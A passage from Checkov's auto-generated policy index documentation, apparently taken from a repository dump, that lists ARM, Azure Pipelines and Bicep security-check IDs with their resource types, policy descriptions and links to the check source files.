CKV_AZURE_166 | resource  | Microsoft.ContainerRegistry/registries                                       | Ensure container image quarantine, scan, and mark images verified                                                 | arm   | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableImageQuarantine.py)                                                                     |\n| 148 | CKV_AZURE_168 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                               | arm   | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py)                                                                                   |\n| 149 | CKV_AZURE_168 | resource  | Microsoft.ContainerService/managedClusters/agentPools                        | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                               | arm   | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py)                                                                                   |\n| 150 | CKV_AZURE_169 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets                                                        | arm   | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSPoolTypeIsScaleSet.py)                                                                           |\n| 151 | CKV_AZURE_171 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure AKS cluster upgrade channel is chosen                                                                      | arm   | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSUpgradeChannel.py)                                                                                   |\n| 152 | CKV_AZURE_172 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters                                          | arm   | [AkSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AkSSecretStoreRotation.py)                                                                         |\n| 153 | CKV_AZURE_173 | resource  | Microsoft.ApiManagement/service                                              | Ensure API management uses at least TLS 1.2                                                                       | arm   | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementMinTLS12.py)                                                                           |\n| 154 | CKV_AZURE_174 | resource  | Microsoft.ApiManagement/service                                              | Ensure API management public access is disabled                                                                   | arm   | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementPublicAccess.py)                                                                   |\n| 155 | CKV_AZURE_175 | resource  | Microsoft.SignalRService/webPubSub                                           | Ensure Web PubSub uses a SKU with an SLA                                                                          | arm   | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSKUSLA.py)                                                                                             |\n| 156 | CKV_AZURE_176 | resource  | Microsoft.SignalRService/webPubSub                                           | Ensure Web PubSub uses managed identities to access Azure resources                                               | arm   | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSpecifyIdentity.py)                                                                           |\n| 157 | CKV_AZURE_177 | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure Windows VM enables automatic updates                                                                       | arm   | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py)                                                                           |\n| 158 | CKV_AZURE_177 | resource  | Microsoft.Compute/virtualMachines                                            | Ensure Windows VM enables automatic updates                                                                       | arm   | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py)                                                                           |\n| 159 | CKV_AZURE_178 | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure linux VM enables SSH with keys for secure communication                                                    | arm   | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py)                                                                                         |\n| 160 | CKV_AZURE_178 | resource  | Microsoft.Compute/virtualMachines                                            | Ensure linux VM enables SSH with keys for secure communication                                                    | arm   | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py)                                                                                         |\n| 161 | CKV_AZURE_182 | resource  | Microsoft.Network/networkInterfaces                                          | Ensure that VNET has at least 2 connected DNS Endpoints                                                           | arm   | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py)                                                                               |\n| 162 | CKV_AZURE_182 | resource  | Microsoft.Network/virtualNetworks                                            | Ensure that VNET has at least 2 connected DNS Endpoints                                                           | arm   | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py)                                                                               |\n| 163 | CKV_AZURE_183 | resource  | Microsoft.Network/virtualNetworks                                            | Ensure that VNET uses local DNS addresses                                                                         | arm   | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetLocalDNS.py)                                                                                             |\n| 164 | CKV_AZURE_189 | resource  | Microsoft.KeyVault/vaults                                                    | Ensure that Azure Key Vault disables public network access                                                        | arm   | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultDisablesPublicNetworkAccess.py)                                               |\n| 165 | CKV_AZURE_191 | resource  | Microsoft.EventGrid/topics                                                   | Ensure that Managed identity provider is enabled for Azure Event Grid Topic                                       | arm   | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicIdentityProviderEnabled.py)                                           |\n| 166 | CKV_AZURE_192 | resource  | Microsoft.EventGrid/topics                                                   | Ensure that Azure Event Grid Topic local Authentication is disabled                                               | arm   | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicLocalAuthentication.py)                                                   |\n| 167 | CKV_AZURE_193 | resource  | Microsoft.EventGrid/topics                                                   | Ensure public network access is disabled for Azure Event Grid Topic                                               | arm   | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicNetworkAccess.py)                                                               |\n| 168 | CKV_AZURE_206 | resource  | Microsoft.Storage/storageAccounts                                            | Ensure that Storage Accounts use replication                                                                      | arm   | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsUseReplication.py)                                                           |\n| 169 | CKV_AZURE_208 | resource  | Microsoft.Search/searchServices                                              | Ensure that Azure Cognitive Search maintains SLA for index updates                                                | arm   | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAIndex.py)                                                                               |\n| 170 | CKV_AZURE_209 | resource  | Microsoft.Search/searchServices                                              | Ensure that Azure Cognitive Search maintains SLA for search index queries                                         | arm   | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAQueryUpdates.py)                                                                 |\n| 171 | CKV_AZURE_212 | resource  | Microsoft.Web/sites                                                          | Ensure App Service has a minimum number of instances for failover                                                 | arm   | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py)                                                                   |\n| 172 | CKV_AZURE_212 | resource  | Microsoft.Web/sites/slots                                                    | Ensure App Service has a minimum number of instances for failover                                                 | arm   | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py)                                                                   |\n| 173 | CKV_AZURE_213 | resource  | Microsoft.Web/sites                                                          | Ensure that App Service configures health check                                                                   | arm   | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py)                                                                     |\n| 174 | CKV_AZURE_213 | resource  | Microsoft.Web/sites/slots                                                    | Ensure that App Service configures health check                                                                   | arm   | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py)                                                                     |\n| 175 | CKV_AZURE_216 | resource  | Microsoft.Network/azureFirewalls                                             | Ensure DenyIntelMode is set to Deny for Azure Firewalls                                                           | arm   | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFirewallDenyThreatIntelMode.py)                                                     |\n| 176 | CKV_AZURE_218 | resource  | Microsoft.Network/applicationGateways                                        | Ensure Application Gateway defines secure protocols for in transit communication                                  | arm   | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGWDefinesSecureProtocols.py)                                                               |\n| 177 | CKV_AZURE_222 | resource  | Microsoft.Web/sites                                                          | Ensure that Azure Web App public network access is disabled                                                       | arm   | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                         |\n| 178 | CKV_AZURE_222 | resource  | Microsoft.Web/sites/config                                                   | Ensure that Azure Web App public network access is disabled                                                       | arm   | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                         |\n| 179 | CKV_AZURE_222 | resource  | Microsoft.Web/sites/slots                                                    | Ensure that Azure Web App public network access is disabled                                                       | arm   | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                         |\n| 180 | CKV_AZURE_223 | resource  | Microsoft.EventHub/namespaces                                                | Ensure Event Hub Namespace uses at least TLS 1.2                                                                  | arm   | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventHubNamespaceMinTLS12.py)                                                                   |\n| 181 | CKV_AZURE_225 | resource  | Microsoft.Web/serverfarms                                                    | Ensure the App Service Plan is zone redundant                                                                     | arm   | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePlanZoneRedundant.py)                                                               |\n| 182 | CKV_AZURE_226 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure ephemeral disks are used for OS disks                                                                      | arm   | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEphemeralOSDisks.py)                                                                               |\n| 183 | CKV_AZURE_227 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources      | arm   | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py)                                                                 |\n| 184 | CKV_AZURE_227 | resource  | Microsoft.ContainerService/managedClusters/agentPools                        | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources      | arm   | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py)                                                                 |\n| 185 | CKV_AZURE_229 | resource  | Microsoft.Sql/servers/databases                                              | Ensure the Azure SQL Database Namespace is zone redundant                                                         | arm   | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLDatabaseZoneRedundant.py)                                                                     |\n| 186 | CKV_AZURE_233 | resource  | Microsoft.ContainerRegistry/registries                                       | Ensure Azure Container Registry (ACR) is zone redundant                                                           | arm   | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py)                                                                       |\n| 187 | CKV_AZURE_233 | resource  | Microsoft.ContainerRegistry/registries/replications                          | Ensure Azure Container Registry (ACR) is zone redundant                                                           | arm   | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py)                                                                       |\n| 188 | CKV_AZURE_236 | resource  | Microsoft.CognitiveServices/accounts                                         | Ensure that Cognitive Services accounts disable local authentication                                              | arm   | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesEnableLocalAuth.py)                                                     |\n| 189 | CKV_AZURE_238 | resource  | Microsoft.CognitiveServices/accounts                                         | Ensure that all Azure Cognitive Services accounts are configured with a managed identity                          | arm   | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesConfigureIdentity.py)                                                 |\n| 190 | CKV_AZURE_239 | resource  | Microsoft.Synapse/workspaces                                                 | Ensure Azure Synapse Workspace administrator login password is not exposed                                        | arm   | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceAdministratorLoginPasswordHidden.py)                     |\n| 191 | CKV_AZURE_240 | resource  | Microsoft.Synapse/workspaces                                                 | Ensure Azure Synapse Workspace is encrypted with a CMK                                                            | arm   | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceCMKEncryption.py)                                                           |\n| 192 | CKV_AZURE_242 | resource  | Microsoft.Synapse/workspaces/bigDataPools                                    | Ensure isolated compute is enabled for Synapse Spark pools                                                        | arm   | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSparkPoolIsolatedComputeEnabled.py)                                             |\n| 193 | CKV_AZURE_243 | resource  | Microsoft.MachineLearningServices/workspaces                                 | Ensure Azure Machine learning workspace is configured with private endpoint                                       | arm   | [AzureMLWorkspacePrivateEndpoint.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureMLWorkspacePrivateEndpoint.py)                                                       |\n| 194 | CKV_AZURE_248 | resource  | Microsoft.Batch/batchAccounts                                                | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny' | arm   | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountEndpointAccessDefaultAction.py)                             |\n| 195 | CKV2_AZURE_19 | resource  | Microsoft.Synapse/workspaces                                                 | Ensure that Azure Synapse workspaces have no IP firewall rules attached                                           | arm   | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py)               |\n| 196 | CKV2_AZURE_23 | resource  | Microsoft.AppPlatform/Spring                                                 | Ensure Azure spring cloud is configured with Virtual network (Vnet)                                               | arm   | [AzureSpringCloudConfigWithVnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/AzureSpringCloudConfigWithVnet.yaml)                                                 |\n| 197 | CKV2_AZURE_27 | resource  | Microsoft.Sql/servers                                                        | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL)                                                   | arm   | [SQLServerUsesADAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerUsesADAuth.py)                                                                               |\n| 198 | CKV2_AZURE_46 | resource  | Microsoft.Synapse/workspaces/vulnerabilityAssessments                        | Ensure that Azure Synapse Workspace vulnerability assessment is enabled                                           | arm   | [AzureSynapseWorkspaceVAisEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspaceVAisEnabled.py)                                                     |\n| 199 | CKV2_AZURE_48 | resource  | Microsoft.Databricks/workspaces                                              | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption                           | arm   | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py) |\n| 200 | CKV2_AZURE_49 | resource  | Microsoft.MachineLearningServices/workspaces                                 | Ensure that Azure Machine learning workspace is not configured with overly permissive network access              | arm   | [AzureMLWorkspacePublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/AzureMLWorkspacePublicNetwork.yaml)                                                   |\n| 201 | CKV2_AZURE_51 | resource  | Microsoft.Sql/servers/securityAlertPolicies                                  | Ensure Synapse SQL Pool has a security alert policy                                                               | arm   | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasSecurityAlertPolicy.yaml)                                     |\n| 202 | CKV2_AZURE_51 | resource  | Microsoft.Synapse/workspaces/sqlPools                                        | Ensure Synapse SQL Pool has a security alert policy                                                               | arm   | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasSecurityAlertPolicy.yaml)                                     |\n| 203 | CKV2_AZURE_52 | resource  | Microsoft.Sql/servers/securityAlertPolicies                                  | Ensure Synapse SQL Pool has vulnerability assessment attached                                                     | arm   | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                             |\n| 204 | CKV2_AZURE_52 | resource  | Microsoft.Sql/servers/vulnerabilityAssessments                               | Ensure Synapse SQL Pool has vulnerability assessment attached                                                     | arm   | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                             |\n| 205 | CKV2_AZURE_52 | resource  | Microsoft.Synapse/workspaces/sqlPools                                        | Ensure Synapse SQL Pool has vulnerability assessment attached                                                     | arm   | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                             |\n| 206 | CKV2_AZURE_53 | resource  | Microsoft.Synapse/workspaces                                                 | Ensure Azure Synapse Workspace has extended audit logs                                                            | arm   | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseWorkspaceHasExtendedAuditLogs.yaml)                                     |\n| 207 | CKV2_AZURE_53 | resource  | Microsoft.Synapse/workspaces/extendedAuditingPolicies                        | Ensure Azure Synapse Workspace has extended audit logs                                                            | arm   | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseWorkspaceHasExtendedAuditLogs.yaml)                                     |\n| 208 | CKV2_AZURE_54 | resource  | Microsoft.Synapse/workspaces/sqlPools                                        | Ensure log monitoring is enabled for Synapse SQL Pool                                                             | arm   | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseLogMonitoringEnabledForSQLPool.yaml)                                   |\n| 209 | CKV2_AZURE_54 | resource  | Microsoft.Synapse/workspaces/sqlPools/auditingSettings                       | Ensure log monitoring is enabled for Synapse SQL Pool                                                             | arm   | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseLogMonitoringEnabledForSQLPool.yaml)                                   |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/azure_pipelines.md",
    "content": "---\nlayout: default\ntitle: azure_pipelines resource scans\nnav_order: 1\n---\n\n# azure_pipelines resource scans (auto generated)\n\n|    | Id                   | Type            | Entity                  | Policy                                              | IaC             | Resource Link                                                                                                                       |\n|----|----------------------|-----------------|-------------------------|-----------------------------------------------------|-----------------|-------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_AZUREPIPELINES_1 | azure_pipelines | jobs                    | Ensure container job uses a non latest version tag  | Azure Pipelines | [ContainerLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerLatestTag.py) |\n|  1 | CKV_AZUREPIPELINES_1 | azure_pipelines | stages[].jobs[]         | Ensure container job uses a non latest version tag  | Azure Pipelines | [ContainerLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerLatestTag.py) |\n|  2 | CKV_AZUREPIPELINES_2 | azure_pipelines | jobs                    | Ensure container job uses a version digest          | Azure Pipelines | [ContainerDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerDigest.py)       |\n|  3 | CKV_AZUREPIPELINES_2 | azure_pipelines | stages[].jobs[]         | Ensure container job uses a version digest          | Azure Pipelines | [ContainerDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerDigest.py)       |\n|  4 | CKV_AZUREPIPELINES_3 | azure_pipelines | jobs[].steps[]          | Ensure set variable is not marked as a secret       | Azure Pipelines | [SetSecretVariable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/SetSecretVariable.py)   |\n|  5 | CKV_AZUREPIPELINES_3 | azure_pipelines | stages[].jobs[].steps[] | Ensure set variable is not marked as a secret       | Azure Pipelines | [SetSecretVariable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/SetSecretVariable.py)   |\n|  6 | CKV_AZUREPIPELINES_5 | azure_pipelines | *.container[]           | Detecting image usages in azure pipelines workflows | Azure Pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py)   |\n|  7 | CKV_AZUREPIPELINES_5 | azure_pipelines | jobs[]                  | Detecting image usages in azure pipelines workflows | Azure Pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py)   |\n|  8 | CKV_AZUREPIPELINES_5 | azure_pipelines | stages[].jobs[]         | Detecting image usages in azure pipelines workflows | Azure Pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py)   |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/bicep.md",
    "content": "---\nlayout: default\ntitle: bicep resource scans\nnav_order: 1\n---\n\n# bicep resource scans (auto generated)\n\n|     | Id            | Type      | Entity                                                                       | Policy                                                                                                            | IaC   | Resource Link                                                                                                                                                                                                |\n|-----|---------------|-----------|------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------|-------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|   0 | CKV_AZURE_1   | resource  | Microsoft.Compute/virtualMachines                                            | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)                                      | Bicep | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstancePassword.py)                                                                           |\n|   1 | CKV_AZURE_2   | resource  | Microsoft.Compute/disks                                                      | Ensure Azure managed disk have encryption enabled                                                                 | Bicep | [AzureManagedDiscEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiscEncryption.py)                                                                 |\n|   2 | CKV_AZURE_3   | resource  | Microsoft.Storage/storageAccounts                                            | Ensure that 'supportsHttpsTrafficOnly' is set to 'true'                                                           | Bicep | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountsTransportEncryption.py)                                         |\n|   3 | CKV_AZURE_4   | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure AKS logging to Azure Monitoring is Configured                                                              | Bicep | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLoggingEnabled.py)                                                                                   |\n|   4 | CKV_AZURE_5   | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure RBAC is enabled on AKS clusters                                                                            | Bicep | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSRbacEnabled.py)                                                                                         |\n|   5 | CKV_AZURE_6   | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure AKS has an API Server Authorized IP Ranges enabled                                                         | Bicep | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSApiServerAuthorizedIpRanges.py)                                                         |\n|   6 | CKV_AZURE_7   | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure AKS cluster has Network Policy configured                                                                  | Bicep | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSNetworkPolicy.py)                                                                                     |\n|   7 | CKV_AZURE_8   | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure Kubernetes Dashboard is disabled                                                                           | Bicep | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSDashboardDisabled.py)                                                                             |\n|   8 | CKV_AZURE_9   | resource  | Microsoft.Network/networkSecurityGroups                                      | Ensure that RDP access is restricted from the internet                                                            | Bicep | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py)                                                                 |\n|   9 | CKV_AZURE_9   | resource  | Microsoft.Network/networkSecurityGroups/securityRules                        | Ensure that RDP access is restricted from the internet                                                            | Bicep | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py)                                                                 |\n|  10 | CKV_AZURE_10  | resource  | Microsoft.Network/networkSecurityGroups                                      | Ensure that SSH access is restricted from the internet                                                            | Bicep | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py)                                                                 |\n|  11 | CKV_AZURE_10  | resource  | Microsoft.Network/networkSecurityGroups/securityRules                        | Ensure that SSH access is restricted from the internet                                                            | Bicep | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py)                                                                 |\n|  12 | CKV_AZURE_11  | resource  | Microsoft.Sql/servers                                                        | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                     | Bicep | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerNoPublicAccess.py)                                                                       |\n|  13 | CKV_AZURE_12  | resource  | Microsoft.Network/networkWatchers/FlowLogs                                   | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                            | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                               |\n|  14 | CKV_AZURE_12  | resource  | Microsoft.Network/networkWatchers/FlowLogs/                                  | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                            | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                               |\n|  15 | CKV_AZURE_12  | resource  | Microsoft.Network/networkWatchers/flowLogs                                   | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                            | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                               |\n|  16 | CKV_AZURE_12  | resource  | Microsoft.Network/networkWatchers/flowLogs/                                  | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                            | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                               |\n|  17 | CKV_AZURE_13  | resource  | Microsoft.Web/sites/config                                                   | Ensure App Service Authentication is set on Azure App Service                                                     | Bicep | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py)                                                                     |\n|  18 | CKV_AZURE_13  | resource  | config                                                                       | Ensure App Service Authentication is set on Azure App Service                                                     | Bicep | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py)                                                                     |\n|  19 | CKV_AZURE_14  | resource  | Microsoft.Web/sites                                                          | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service                                           | Bicep | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHTTPSOnly.py)                                                                               |\n|  20 | CKV_AZURE_15  | resource  | Microsoft.Web/sites                                                          | Ensure web app is using the latest version of TLS encryption                                                      | Bicep | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceMinTLSVersion.py)                                                                       |\n|  21 | CKV_AZURE_16  | resource  | Microsoft.Web/sites                                                          | Ensure that Register with Azure Active Directory is enabled on App Service                                        | Bicep | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentity.py)                                                                                 